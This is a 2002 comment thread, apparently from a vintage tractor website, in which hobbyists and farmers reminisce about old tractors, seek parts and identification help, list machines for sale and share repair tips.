james corder wrote on Sunday, December 15, 2002 (PST):the minneapolis-moline g1000vista is one of the best looking tractors that was ever made in my opinion. i've always had trouble understanding just how MM went down. it had to be just plain bad management because my experience with the MM brand indicated they were of top quality and durability, two things farmers find necessary in their equipment. no matter what the configuration the g1000v is just a very fine looking machine!
james corder wrote on Sunday, December 15, 2002 (PST):we never did have as fine a tractor as the MM GVI, however, i did drive a 1948 MM "U", it could outpull the super "M" farmall and would just leave the farmall when it came to plowing with 3-16's. I always thought the MM tractor company really knew how to put a tractor engine togeather, large cubes, long stroke, and low RPM. that always seemed to make sense for hard working engines where lots of torque was required. I like all MM tractors and collect the literature and toys. living in town i don't own a tractor right now, maybe someday.
ralph brown wrote on Sunday, December 15, 2002 (PST):i own a leader tractor with a hercules motor i need a manafold for it i have welded it up many times but it is to thln now i also have a manul for the tractor any help!!!! thanks
C Hebert wrote on Saturday, December 14, 2002 (PST): We had W-6 and WR9 Rice field specials . Trying to locate in Louisiana can you help thanks c.Hebert w
Rebecca Gottberg wrote on Thursday, December 12, 2002 (PST):Thanks, I will!!!
Curle, Colin D wrote on Wednesday, December 11, 2002 (PST):Can you get any technical data on these Port Hurons? My great-great-grandad had one and it killed him the very day he took possession of it (see Brandon Sun, Monday Sept. 23-rd 1903), either bridge he was driving it on collasped or they drove it off the bridge. He and the fireman were trapped under the engine for two days untill their bodies were recoverd. The pocket watch he wore was restored only ninety-one years later (an 1881 11-jewel Waltham PS Bartlet) and I am hoping to qualify as steam engine engineer this may at the Austin agricultural museum. As for the engine, I am told she was sold logging concern working in Turtle Mountain, Manitoba around 1936.
Ron Parry wrote on Wednesday, December 11, 2002 (PST):My father and Oliver dealer from 1956 until he retired in 1978, saw to it that I had a way to pay my through college. He purchased a Super 55 D put a side mower on it and got a contract from the state of Pa. to mow road banks. So from 1964 to 1968 I spent every day each summer, mowing roads. That old 55 used and average of 3 gallons of fuel every day and except for filters and changing the oil that was the total cost of maintaining the 55 for four years of running 8hrs a day each summer. PS I made 6.00 dollars per hr. I thought I was rich. I really wish I still had that old 55. He sold it after I graduated from college in 1969.
Henry Hahn wrote on Wednesday, December 11, 2002 (PST):Rebecca Have your dad contact the Leader Tractor Club 7606 Hwy. J Perryville,MO 63775
Darrell wrote on Monday, December 09, 2002 (PST):Very nice tractor. Im restoring a 99 6 cylinder diesel serial number 520868.My tractor was two colors of yellow not green, I was woundering if anyone could tell me what the C stands for after the serial number. Mine came from plant # 2 or thats what the serial plate says, how many plants were there if anyone knows.
Darrell wrote on Monday, December 09, 2002 (PST):Very nice tractor. Im restoring a 99 6 cylinder diesel serial number 520868.My tractor was two colors of yellow not green, I was woundering if anyone could tell me what the C stands for after the serial number. Mine came from plant # 2 or thats what the serial plate says, how many plants were there if anyone knows.
Maurice Vonasek wrote on Saturday, December 07, 2002 (PST):I'm looking for a "reasonably priced" gas powered Oliver Super 55 that is in decent running shape. Hopefully someone out there has one for sale near the Lincoln, Nebraska area. 3-pt. attachments? Thanks!
Brian P wrote on Friday, December 06, 2002 (PST):we have a D15 seris 2 that the govener is very responsiv and a MC flail choper. When we chop stoks at nigt you can see a Blue flame out of the exost.
Tom McDonald wrote on Friday, December 06, 2002 (PST):I am looking to buy working condition Cub tractor with a belly mower. I'm located in South Texas, but will travel for the right deal. 210-651-3008 or email.
Jared Owen wrote on Thursday, December 05, 2002 (PST): Biff Barner I can't get my email to send you a note please email me at jared_owen7997 at hotmail.com. I am very interested in your 1932 F-12. Where are you located and could you send any pictures. Thanks I'd appreciate it. Jared Owen
hardscrabble wrote on Thursday, December 05, 2002 (PST):My first tractor was a 1066. I later traded it for a JD 4630. The JD had a better cab, and planetaries instead of bull gears. But the the IH was definitely a better "lugger", and I LOVE the sound of International engines.
lenny wrote on Wednesday, December 04, 2002 (PST): My dad bought an oliver 770 new in 1959 .We had 4500 hours on it when we sold it and never took the head off.
lenny wrote on Wednesday, December 04, 2002 (PST):My dad bought an oliver 770 new in 1959 .We had 4500 hours
Tom Smith wrote on Wednesday, December 04, 2002 (PST):In Nov. I bought 1961 550D---in very good cosmetic and mecahanical condition BUT I DISCOVERED IT HAS A CRACKED---NEED A NEW BLOCK OR WILL SELL AS----
Tom wrote on Wednesday, December 04, 2002 (PST):how much would a Leader in decent origanal running condition beworth. please email.
Cada Farms wrote on Tuesday, December 03, 2002 (PST):Wanted oliver Super 44 or 440 runing condition or not. Wanted Super 66 wheatland model with 3 pt hitch. Cada Farms Tecumeseh Ontario Canada Please contact me at(519)-979-3330
MADDOG wrote on Tuesday, December 03, 2002 (PST):TO fix those drivelines with weak BEVEL GEARS,splined axles, etc. First, the problem...The problem exists because the parts in question WERE NOT HEAT-Treated PROPERLY. When these drivelines were designed, the technology to PROPERLY heat-quench these parts did NOT exist. Many of the old diesel engines are capable of power well in excess of what the drivelines of these tracters, crawlers and dozers would tolerate. AS a machinist/engine rebuilder for 33+ years; I have learned a "few things" about getting drivelines to withstand lots of "excess torque". I had the same problem with an Allis-Chalmers D-21 (the AC 426 cu. in. Turbo-diesel is probably the STRONGEST pulling tractor engine ever produced).ALLIS-Chalmers realised that they had a "problem" with the D-21; the engine produced far more torque than the rear end could handle (actually the CLUTCH assembly was the STRONGEST component in the driveline).Since the D-21 Series II diesels can be tweaked to 200 (PTO horsepower)just by increasing the D/fuel flow, something in the driveline HAS to fail. I solved this problem by RE-Heat-treating EVERY critical metal component in the D-21's driveline to MODERN day metal specifications. This is NOT a quick procedure and requires high temp ovens and or oxy-acetylene torches with the required temperature-monitoring equipment, but IT WILL solve the problem of WEAK final-drive components.
Steven wrote on Monday, December 02, 2002 (PST):I have a Farmall cub tractor for sale we are located in New York. This tractor is all original and runs like new! I am looking to get $3200. Please call me at (917) 693-9695
Don Stiles wrote on Saturday, November 30, 2002 (PST):Have 1970 AC160 needs brakes runs good any offers//
judy McGlaughlin wrote on Saturday, November 30, 2002 (PST):my brother has a farmall super C series and is looking for a 2 point hitch and also a picture of a 2 point hitch so he can take it to the local farm trade shows and compare. If someone has a picture they can email me of one that would be great. Also if anyone knows where we can get one please have them email me thanks!
Charles Parker wrote on Thursday, November 28, 2002 (PST):I have the D15 Seriews II that my dad had when he died in 1977. I found it and bought back it 2 years ago. The person who bought it after dads death did not take very good care of it. A lot of rust. I have the motor un-stuck and it runs good. The Air Cleaner is on the right side, it has a dry filter, it is rusted out and I am looking for one that is in good shape. Plans are to put the D15 back like new, as near as possible. I would appreciate any information.
Herb Hutnak wrote on Wednesday, November 27, 2002 (PST):for Peter Howie; I can'thelp with a cylinder head but will pass along this info. The heads usually crack between the turbulence chambers because of heat buildup before the thermostat opens. This can be corrected by removing the bypass hose fittings at the thermostat housing and the water pump and carefully drilling them out to 11/32". (Both ends of the elbow from the thermostat housing have to be drilled out.) This allows the head and block to heat more evenly and prevents a slug of cold water from getting to the head and cracking it.
Glenn Rensink wrote on Tuesday, November 26, 2002 (PST):I am interested in knowing where I could find a cockshut tractor in running condition. ARE THERE ANY OUT THERE?
Chris wrote on Monday, November 25, 2002 (PST):I own a 1026 and if the 1066 was anything like it, it was good.
Chester Broda wrote on Sunday, November 24, 2002 (PST):Tractor has been sold... Thanks for all the responses!
Chester Broda wrote on Saturday, November 23, 2002 (PST):For Sale in Trent Hills, Ontario; 1957 Oliver 440, good running condition, comes with Operator's Manual, Parts Book and 2 attachments; Disc and Bush Hawk. $2200 Cdn
Terry wrote on Thursday, November 21, 2002 (PST):I am in need of an exhaust/intake manifold for a 1959 D-10 and can't seem to find one is this part interchangeable with other models?
James wrote on Wednesday, November 20, 2002 (PST):I just recived my grandapa's 1066 so that I can restore it and it does not move and the power steering does not work does any one have a clue where to start looking to fix the issue? It has been stored in the barn for about 5 years.
William Dorn wrote on Tuesday, November 19, 2002 (PST):I am in need of an engine block for an F-20.I have a nice tractor that is old but nearly complete.It will be a nice project but I need the block. Any help would be appreciated.Thanks.
JOHN BREITMEIER SR. wrote on Monday, November 18, 2002 (PST):My dad bought a D-15 new in 1965 and used/abused it for many years.We lived in an area of green and red,and the little AC was laughed at,until they saw her out-run any color her size.She'd pull 3-16s in clay ground,10/11"deep all day long at 5mpr.Wish pop would have never sold her.
Arvin Busenitz wrote on Sunday, November 17, 2002 (PST):Did Oliver make a 995 without a torque converter? The tractor has 995 on the hood but no torque converter in it. Do you know how many 220's did Allis make after the D21?
Arvin Busenitz wrote on Sunday, November 17, 2002 (PST):id Oliver make a 995 with out a torque converter?
dan boat mech. wrote on Sunday, November 17, 2002 (PST):I have just bought a 1952 fordson major desiel with no starter is there a starter that will work that isn't stock to the tractor. I'm just starting my own company and don't have a lot of cash. any help I would be graetful
jerry swykert wrote on Sunday, November 17, 2002 (PST):need id ford dexta i was told around 1961 it has 3 cyl. perkins the tractor was made in england i have a book on serial # but it doesent list eng models # i have found on bell housing ob9 or ob7 72867 perfect tractor looks&runs grate any info will help thank you
bill wrote on Sunday, November 17, 2002 (PST):i have a 40 cockshutt pulling tractor, i put a d 19 allis chalmers 262 cubic inch engine in it. which is also built by budda.....i am very proud of it.....not to many of them here in ky
Jeff Green wrote on Saturday, November 16, 2002 (PST):I have 2 D 14 tractors one is in good shape the other is in a few pieaces.I would like to find out more information on the two . I live in VA and there isn't to many places to get parts.Any help ?
Hanz Nussbaum wrote on Tuesday, November 12, 2002 (PST):I am looking for a restorable G at least with all the sheet metal in decent shape and motor not locked up and good block.reasonably priced.styled or unstyled ok
Larry Pagan wrote on Tuesday, November 12, 2002 (PST):I am in need of parts for Rock Island, ie. in-put shaft etc.
Harold wrote on Monday, November 11, 2002 (PST):I Have several F-12s 1937 with 6ft sickle mower,1935 on steel with mechanical lift plow.This tractor has barn fresh oil and dirt (No paint)! I also have a 1933 ser 531 that I need a walkesha block for.
Mark Cochran wrote on Saturday, November 09, 2002 (PST):The Co-op model C like the one above was manufactured for the Co-op's by National Farm Machinery Co. in Shelbyville, IN, in the early 1940's. They made the model B-2 Sr., B-2 Jr., B-3, C, and D-3(during WW2)
Russell Leib wrote on Saturday, November 09, 2002 (PST):I just really enjoyed this page. Thanks! I remember as a kid I ran an F20 reg. many hours a day. I especially remember getting a rock between the two rows cleats and how easy the wheels spun. O the fun. Now I am currently restoring a late f20 and need a drawbar. If anyone can help me, please let me know.
Stephen Tow wrote on Saturday, November 09, 2002 (PST):I have a 1962 Super Dexta and I am looking for a hydraulic diverter switch which controls the hydraulics from the front end loader to the draw bar. I think it might be worn to the point were hydraulic oil is leaking from one section to the other. The tractor is great but this is the only downfall I would appreciate any help with this. Thanks
Stephen Tow wrote on Saturday, November 09, 2002 (PST):I have a 1962 Super Dexta and I am looking for a hydraulic diverter switch which controls the hydraulics from the front end loader to the draw bar. I think it might be worn to the point were hydraulic oil is leaking from one section to the other. The tractor is great but this is the only downfall I would appreciate any help with this. Thanks
Todd Burlock wrote on Saturday, November 09, 2002 (PST):Have 300 utility with a 2 point hitch want to make it into a 3 point,it's a good tractor and this would make it better. HELP!
MARK SCHAEFFER wrote on Friday, November 08, 2002 (PST):LOOKING FOR MODEL 55 GAS M-H W/WIDE FRT &FULL FENDERS.DOES NOT HAVE TO BE RUNNING.LIVE IN AZ.
Amanda wrote on Thursday, November 07, 2002 (PST):I just acquired a 1950 Massey Harris, 55D, with a serial number of 1500, does this help the value of the tractor any?
BERNIE MATYNIAK wrote on Wednesday, November 06, 2002 (PST):I HAVE AN OPPERTUNITY TO ADD A SUPER 55 DIESEL WITH A THREE POINT HITCH TO MY COLLECTION COULD ANYONE TELL ME A CURRENT VALUE ON ONE THANKS FOR YOUR HELP
Rob Honders wrote on Wednesday, November 06, 2002 (PST):I bought my Oliver Super 55 diesel in 1972 for $500 from a guy in Cornwall NY. I drove it home, 45 Mi. It has a Davis loader and in 1974 I added a small tubular frame backhoe. It has done a lot of work and only recently fell into disuse. I plan to replace the backhoe with a scraper to do light duty road maintenance. Trade backhoe for scraper anyone?
Jared P. Nimick wrote on Wednesday, November 06, 2002 (PST):3 years ago I purchased a Sheppard single cylinder diesel engine with approx. 8 hp. with an attached Twin-disc clutch assembly. The unit is in beautiful shape with the story that it was pulled out of a ships belly 30+ years ago in perfect running condition and placed in storage. The unit has not been run since.I have too many projects at this time, and would like to sell this to someone who can make it run again.What is it worth, or does anyone have any literature that can help? It's in beautiful shape, and needs to run again!
ken youngs wrote on Wednesday, November 06, 2002 (PST):in response to the waterloos,I cant see the picture clear enough to tell but,a waterloo with a grill that says (MM WATERLOO)were sold canada and a grill that said (TWIN CITY) were sold in the US.The above picture I believe is an FT-A.
Pat Patterson wrote on Wednesday, November 06, 2002 (PST):I have a Dexta and a Super Dexta 2000. Need parts such as grill, lights, proofmeter cable, proofmeter, light switch, steering wheel, and exhaust gaskets for both the tractors. Also I need to know the color codes and color schemes for the two tractors. I understand that one has orange wheels with blue body and the other light grey fenders and wheels with blue body. What color is the grills? Any help will be appreciated. Thanks.
Pat Brown wrote on Tuesday, November 05, 2002 (PST): My grandfather farmed near Bark River MI. He had two Coop E3's, a 1947 and a 1948. One I know he bought new. He also had a Model 50 that he bought new that was a Cockshutt. That one was sold at auction around 1962 when he semi-retired getting out of dairy cows. Baled a lot of hay behind the E3.
Irv Roth wrote on Tuesday, November 05, 2002 (PST):Very nice web site on MM. Would anyone have any kind of info. on the 445 Universal. I think they were built in 1957. As a young boy on the farm in Alberta my father owened one. Had lots of problems with it.
Josh Upton wrote on Tuesday, November 05, 2002 (PST):We have an 880 diesel row crop that we have restored. We pull with it and it does awesome.
Josh Upton wrote on Tuesday, November 05, 2002 (PST):My dad and I have an Oliver 1900 that we pull with. It pulls good but the motor is getting wore out. We would like info on anyone who has parts needed to turbo these motors. (4-valve head, turbo, elbow, etc) Any info would be greatly appreciated. We also have an 880 row crop that we pull with. We have just rebuilt it and it pulls very well in the 5500 pound class. We have 11 olivers in total and we try to pull with most of them. We would like to talk to anyone as interested in Olivers and pulling as us.
Bob Lewis wrote on Monday, November 04, 2002 (PST):Need to know the location of this tractor and a price..Am interested.
Dave Field wrote on Sunday, November 03, 2002 (PST):I'm hopeing some of you might be able to help me, I just bought a home on 15.33 acres here in Michigan, the place came with many ammenities,but one of the best is a I.H. Farmall 560 diesel tractor with a two bottom plow and a disc, right now I'm waiting to close on the deal. Now my Gandpa had Farmalls as far back as I can remember,his favorite was his old model H but, this 560 is a completely different beast all together, I'd like to find out everything I can about this old girl, as she and I came to be, back in Feburary of 1961( according to the plate I found on her).Everything seems to be in working order on her but, I have no idea of maintence schedules to keep her this way. perhaps someone could let me know where I could find any literature, (i.e. manuals)and perhaps you might know of what other attachments can be found for her. Grandpa's old model H has long since been sold, after his death, and he'ld be proud to know that at least one of his kin still remembers him on his tractor and, the pride he showed in her ownership( the fact is, he had to put a heat lamp on her block the night before he would use her to get her to start the next morning, she was that tired)He loved that old tractor and they both worked the fields together till one of them parted, One day, I hope my Granddaughter will remember driving Grandpa's (my)old tractor too.
Quincy Hemphill wrote on Sunday, November 03, 2002 (PST):What are the possibilities of finding a good engine for a TD-6? Someone took the oil pan and a main bearing cap off and apparently threw it away. The engine needed rod bearings and mains. Everything else is there. Thanks
Tim Bruce wrote on Sunday, November 03, 2002 (PST):i have a neighbor that has a tractor that is similar to the wards mentioned and looks a bit like the co op, it also has a dodge 6 cyl. dodge trans. and rear end. the name of it is lehr bigboy, as far as anyone here can remember it was mfg. and sold somewhere in ohio, we have searched everywhere for info. on this tractor, it is still with the original owner, have never saw another one anywhere, can anyone help!, please email me. thanks.
Janelle Rumsey wrote on Thursday, October 31, 2002 (PST):I would like to see a McCormick W-30 standard 1939 if you could please.
scrany wrote on Thursday, October 31, 2002 (PST):Cookie, If you scroll up about 30 comments you will see an article about dating your tractor by "Farmike"
curtis allen wrote on Wednesday, October 30, 2002 (PST):I own48 model H its starting to clatter in 2nd gear especially going down hill and also when clutch is engaged when in 2nd or higher.It has gear oil in it.Is it tranny or throw out bearing or?
Craig wrote on Wednesday, October 30, 2002 (PST):what is a 39 b worth, pretty good shape dealer has it for 3500 wondering what should offer?
Larry Burnworth wrote on Wednesday, October 30, 2002 (PST):Recently purchased a 50 M, carb needs a needle/valve seat. It is a IH carb. Anyone want to share the specs with me on the float level and drop? tnx Larry in NE Ind.
chuck wrote on Wednesday, October 30, 2002 (PST):Have AC-M-160 with a loader. It needs a trans, has a new paint job, good eng and tires. Looking to part out, if I can not find a trans.
Lanny Sutton wrote on Wednesday, October 30, 2002 (PST):I am looking for an Oliver 880 gas,e-mail me if you know where one is.Thanks!!!!!
Lanny Sutton wrote on Wednesday, October 30, 2002 (PST):I am looking for an Oliver 880 gas,e-mail me if you know where one is.Thanks!!!!!
Xeramathea wrote on Tuesday, October 29, 2002 (PST):I have owned my 1955 Oliver Super Oliver for about 15 years, its always been a good tractor and has done a lot of work. Sadly, due to certain circumstances I have to sell it. ; (
Ken wrote on Tuesday, October 29, 2002 (PST):My dad had 3 1066's at one time, all bought brand new in the mid 70's. This is probably the best tractor IH ever built. Wish we still had them.
HARLAN HARNAR wrote on Tuesday, October 29, 2002 (PST):MY LATE DAD HAVE AN 1951 JOHN DEERE B WE DID EVERYTHING WITH IT LIKE WE HAVE MASSEY HARRIS 33 LIKE ONE DAY DAD WAS PICKING CORN WITH THE MASSEY HARRIS 33 HE GOT STUCK IN THE MUD NOT REAL BAD SO DAD YELLED FOR ME TO PULL HIM OUT.OR I WILL BE RAKING HAY WITH LITTLE JOHN THAT WHAT WE CALLED OUR JOHN DEERE B GOOD TIMES.
Gary Miller wrote on Tuesday, October 29, 2002 (PST):I have a 42 H that my grandfather bought new when he quit farming with mules. I purchased it from his estate in 1984. It has electric start, lights, power lift, and has a two row planter, cultivator, and two or single row bedder. Used mainly for garden and light farm work. My cousins and I played many an hour on this tractor when visiting our grandparents. It is still in original condition but some day I hope to restore it. This tractor will be passed along to my son some day.
biff barner wrote on Tuesday, October 29, 2002 (PST):I have a '32 f-12 with narrow front-end on rubber and many several spare parts including magnetor and fuel pump accessories...my granfather farmed with it since it was new. It was rebuilt in 1980's as a parade tractor..still in good shape, but needs some cleaning up..started it just yesterday....although I hate to part with it the time has come....any Idea how much we should ask for this tractor? anybody interested.
ray spell wrote on Tuesday, October 29, 2002 (PST): i own an 0-14 and have restored it to the best of my ability. would like to see some pictures of others. my adress is 236 skinner dr., hope mills, nc 28348. would appreciate anyone writing. thanks.
Marv Larson wrote on Tuesday, October 29, 2002 (PST):Yes, I've run one of these as new in 1955,working it 6-7 years. It was a good tractor for our needs, however, I didn't like the huge jump in gear ratio from 2nd to 3rd. 2nd was too slow, and 3rd was too fast. This tractor could've used another gear between. I understand that the 600 did have this improvement. Does anyone know for sure? I could be wrong on this point. I'm convinced that the MM- Model G would've been a better choice for us at the time. Being a teenager then, I had not that choice. I think $$$ cost was a considerable factor. The Case 500 was a less exspensive choice, and the man/operator availability, even though diminishing then, was sufficient to apply the extra time required to operate a smaller machine. Hence, an extra plow rating was not as important as was the initial cost, for us, near Choteau, Mt.
Jim Cox wrote on Monday, October 28, 2002 (PST):I am ready to buy my first tractor, just for fun. Two options are a 9N w front loader for 2500 or 8N with blade and brushhog for probably under 2000. which is the better buy? thanks. JC
Dick wrote on Monday, October 28, 2002 (PST):39-47 "H" parts for sale - mostly used stuff located in central New York. Also a complete 1940 H For Sale Reasonable.
Warren wrote on Monday, October 28, 2002 (PST):Im looking for the # 4 fuel line for my fordson major diesel tractor. Please help. Thanks
Frank LaRoche wrote on Monday, October 28, 2002 (PST):I have Ferguson with a serial #113365 can anyone tell me the model and year built.Thanks
milton cayette jr. wrote on Monday, October 28, 2002 (PST):I have a 1951 model G hi-crop. This tractor have been restored about 70%. I mostly drive my G in the christmas parade each year. This G was mostly used on our farm to cultivate our sugar cane crop. Sometime i starts it up just to hear it pop because thier is no other sweeter then that.
NATHAN MCNATT wrote on Monday, October 28, 2002 (PST):looking for a place to buy parts for a i think it is 1942 farmall smd not sure on the year any help well be greatfull
Rob wrote on Monday, October 28, 2002 (PST):Am looking for a John Deere MC in good condishion with working hydralic's for a fair price---have tractor to trade.
Charles Hall wrote on Monday, October 28, 2002 (PST):I Have a 440 dozer that is in real good condition would like to know what it is worth.also need a govenor for another 440 if anyone has any infromation woould appreciate hearing from you.
Ed wrote on Sunday, October 27, 2002 (PST):I just picked up a front blade for my 52 Cub. There are some mounting parts missing, does any one have a manual or picture so I can fabricate the mounts? THANKS!!!! ED
Joel Bartling wrote on Sunday, October 27, 2002 (PST):I am looking for a mounted seven foot sickle mower for a farmall C. If you have any information Please email us. Please include price and condition. Thank you.
Kim Van Peursem wrote on Sunday, October 27, 2002 (PST):I am looking for a nice AC 220 or D21, any nice ones out there. Thanks 712-737-2164
Ron Gabalis wrote on Sunday, October 27, 2002 (PST):I have 3 F12-F14 tractors two with gas engines one without, all on steel lug wheels. They have been outdoors for 30 years or more. I have many farm implements from the thirtys. I also have an old Massy Harris,& Allis Chalmer's tractor. I would sell them (CHEAP) single or all together as a package. Call at 989-275-4346 or E-mail me.
MARK A SCHROEDER wrote on Sunday, October 27, 2002 (PST):I have an IH 300 utility with PTO, 2-point hitch, and front-end loader for sale. Will sell loader separatly. Can call 419-532-3259 for more info.
Tony wrote on Sunday, October 27, 2002 (PDT):Can these (Pony) tractors be adapted to accept a hoe? Thanks
IVAN PRUNTY wrote on Saturday, October 26, 2002 (PDT):THE AVERY LOOKED LIKE IT WAS MADE OF OTHER TRACTOR PARTS, THE REAR END LOOKED LIKE A ALLIS CHALMERS C
k.p. tolbert wrote on Saturday, October 26, 2002 (PDT): I have a 1963 ford 2000 offset. It is still in use today, but not as a row crop tractor. I initially used it to clear 4 acres out of 20, using a boxblade. It dug a full basement for my house to set on (28 by 50), I had to wait for the bluprints to get fininshed so I had time on my hands, it took 3 months off and on. I use it now to keep trails clear on the rest of the 20 acres, and remove small trees and do some clearing. I dont believe this tractor has refused to do anything that I asked it to. It still amazes me with its durability and strenght, I cannot say enough about it, I would consider selling it if it would bring a GOOD price, but would hate to see it go, it has been a good reliable friend.
Lawrence Kole wrote on Saturday, October 26, 2002 (PDT):We had an 820 and an 830 Rice Special on the farm were I grew up in Chambers Co. Tex. I spent many many days on those tractors working up the heavy gumbo soil on our farm pulling molboard plows, disks, harrows and pulling rice carts during the harvest. There is no way I could have known back then in the '50's and '60's how lonesome I would get someday just to hear that sound again. I yearn to hear that comforting authority of the sound of those tractors again. Gosh, I do so desperately need to hear them again.
CARLOS CADENA wrote on Saturday, October 26, 2002 (PDT): I RECENTLY BOUGHT A FARMALL B AND WAS TOLD THAT THE WATER PUMP WAS BAD, IT RUNS GREAT BUT LEAKS WATER FROM THE OVERFIOW TUBE. I'VE WORKED FOR 8 HOURS AT A TIME AND IT ONLY LOSES ABOUT 2 QUARTS OF WATER.IT DOES NOT LOOK LIKE ITS OVERHEATING,MY QUESTION IS WHERE IS THE WATER PUMP LOCATEDAND IS THIS THE PROBLEM.
CARLOS CADENA wrote on Saturday, October 26, 2002 (PDT): I RECENTLY BOUGHT A FARMALL B AND WAS TOLD THAT THE WATER PUMP WAS BAD, IT RUNS GREAT BUT LEAKS WATER FROM THE OVERFIOW TUBE. I'VE WORKED FOR 8 HOURS AT A TIME AND IT ONLY LOSES ABOUT 2 QUARTS OF WATER.IT DOES NOT LOOK LIKE ITS OVERHEATING,MY QUESTION IS WHERE IS THE WATER PUMP LOCATEDAND IS THIS THE PROBLEM.
Darryl Nealis wrote on Saturday, October 26, 2002 (PDT):I bought a 1959 550 Oliver diesel and need a generator and some other parts. Any good suggestions as to where they can be aquired.
Jason Drotleff wrote on Saturday, October 26, 2002 (PDT):I'm restoring a JD 60 orchard. I'm missing the fenders. If anyone knows where to get the fenders please email me at Jason.Drotleff at coulter.com. Thanks Jason
Frank wrote on Saturday, October 26, 2002 (PDT):Anyone know where I might get a metal grille for a 550 ?
kenny wrote on Saturday, October 26, 2002 (PDT):Hey. there is a farmer up my road and he is selling a 560 turbo D farmall tractor. But it has a cracked gernal. the farmer wants 1500. Is the time and parts worth the overall price for the tractor. please email back
LLoyd Thomas wrote on Saturday, October 26, 2002 (PDT):yes i have used farmall m they areareal good machie
Tom Roney wrote on Saturday, October 26, 2002 (PDT):In response to the two previous postings from Renee and Donna; The following serial numbers and related model years for the Oliver 550 are as follows; 1958 (first year of production) 60501 1959 72632 1960 84416 1961 111868 1962 117541 1963 127365 1964 140620 1965 162265 1966 171923 1967 186165 1968 206095 1969 213340 1970 222833 1971 226965 1972 232918 1973 238237 1974 248375 1975 259255 I have a 1959 Diesel which I am in the middle of rebuilding the PTO clutch. Hope the numbers help!
Lance H. (Texas) wrote on Saturday, October 26, 2002 (PDT):Am in the process of restoring a 1955 International 300 Utility (that my father purchased new), and have questions on the stainless steel names that attatch to the hood. Is the background painted between the letters on the following words, and if so, what colors; 1. utility 2. 300 3. International 4. Torque Amplifier Also, am looking for the metal battery top (cover), and the IH stainless emblem that fits the top front of hood. Any information on where to locate these items would be greatly appreciated. Also, have located a very good source for complete set of decals for IH 300 & other IH tractors. Contact me for this information. Thank you for your considerations.
les pilkington wrote on Saturday, October 26, 2002 (PDT):I THINK THE WHEELS SHOULD BE YELLOW
jack wrote on Saturday, October 26, 2002 (PDT):Does anyone know who might specialize in rebuilting starters Mine is a Delco from my Model 60 JD. Local shop said, he didn't have the parts and didn't know where to get replacement parts.
Indiana Rock wrote on Saturday, October 26, 2002 (PDT):My brother and I are finishing up a restoration on a 57 Cub Loboy. What is the correct seat? Is it the pan seat or the one referred to in ads as the assembly, having a back and in some cases arms. The original operators manual shows the "assembly" style in all the photos. I have never seen this style seat on any Cub, I,ve always seen the pan seat.
Don Collison wrote on Friday, October 25, 2002 (PDT): I have a customer with an old JD crawler. He says the SN is 1A5649L116. Anyone got any info on this?
matt m wrote on Friday, October 25, 2002 (PDT):I think a lot of us are looking for this very tractor but nobody's giving them up.
Shannon Wallace wrote on Thursday, October 24, 2002 (PDT):What is a good price to pay for a restorable G ? My supervisor has his dad's old G wants to sell it, but he doesn't know how much he should ask for it. He asked me what the going price was and I don't have a clue so if anyone could help me out I'd be very thanklful.
H Legrand christensen wrote on Thursday, October 24, 2002 (PDT):I have a 50 Z MM I need a oil filter,My fram book is a 1991 It does not list a filter for a Z,It dont go back that far It does list a couple for jetstars--Ch 125 pl Ch251 Pl any chance one of these would fit,I need Help,Thank you
Steve wrote on Thursday, October 24, 2002 (PDT):I have a uncle looking for a row crop 1954 case sc or dc or 300 can anyone help with some ways to find any?
H Legrand christensen wrote on Thursday, October 24, 2002 (PDT):I have a 50 Z MM I need a oil filter,My fram book is a 1991 It does not list a filter for a Z,It dont go back that far It does list a couple for jetstars--Ch 125 pl Ch251 Pl any chance one of these would fit,I need Help,Thank you
Cookie wrote on Thursday, October 24, 2002 (PDT):I have a Farmall Tractor and I don't know the year. If anyone knows how to tell what year it is please e-mail me to let me know. Thanks.
Garry Stutts wrote on Thursday, October 24, 2002 (PDT):just inherited a blue tractor the front grill says super dexta, could someone please help with id, want to restore myself, any comments on finding parts. plus how do you determine if tractor is a 2000, or 3000. doing work myself on limited budget is this restoration affordable. or costly either way i'm going to restore, if costly it may take longer. can anyone help with some pros and cons thanks Garry
NEIL OLSEN wrote on Thursday, October 24, 2002 (PDT):I HAVE A 1917 SAMSON CIVE GRIP TRACTOR WHICH MY DAD PURCHASED NEW AND FARMED WITH FOR MANY YEARS. I HAVE RESTORED IT. I AM MISSING THE STARTIN CRANK. IF ANYONE KNOWS WHERE I CAN GET ONE I WOULD LIKE TO HEAR FROM THEM.
Gerry Martens wrote on Thursday, October 24, 2002 (PDT): We started a small market garden in central Manitoba Canada. Would like to find a B series wide axle. Would also like to have under slung potatoe discers, cult., planters. Should anyone have some or all of this equipment for sale,plesae e-mail us.
Gerry Martens wrote on Thursday, October 24, 2002 (PDT):Would like to find and purchase a G series, with underslung discers,cult., as well as seeders. We live and garden in central Manitoba Ca.
Brent B. wrote on Thursday, October 24, 2002 (PDT):My grandfather had an allis chalmers (probably the size of a WD-40). It had steel wheels in the rear and rubber in the front. It had a crank startand he used it at his summer cottage on an island to run a saw mill and to pull trees out of the woods. I was wandering if someone could guess the aprox. year and model. Thanks Brent B. St. Anne,Illinois
Peter Howie wrote on Thursday, October 24, 2002 (PDT):I have a 2010 diesel row crop utility and after having the head cast welded two years ago for cracks between the turbulence chambers, I have discovered that they have developed additional cracks. If anyone could help me out with a head in good condition or could advise me where I may obtain one, could they please let me know. I am also searching for injector nozzles or a nozzle rebuild kit.
John wrote on Wednesday, October 23, 2002 (PDT):I was curious as to whether or not anyone had a picture of a 1958-64, 641 Workmaster. Restoring it and I wish to attain the precise paint color and emblem on the front end. Let me know!! Thanks!
H LeGrand Christensen wrote on Wednesday, October 23, 2002 (PDT):the 1950 51 had a drawbar horse power of 34,Belt was about 44.
michael wrote on Wednesday, October 23, 2002 (PDT):looking for a diesel farmall. MD,400, etc. in good running condition. don't have to be pretty but a fair price. new englan area preferred.
Tom Dickison wrote on Wednesday, October 23, 2002 (PDT):We had two F-30's when I grew up. One was on rubber, the other on steel. We used them both as compactors in bunker silos. I have been trying to find a picture of an F-30, no luck yet!
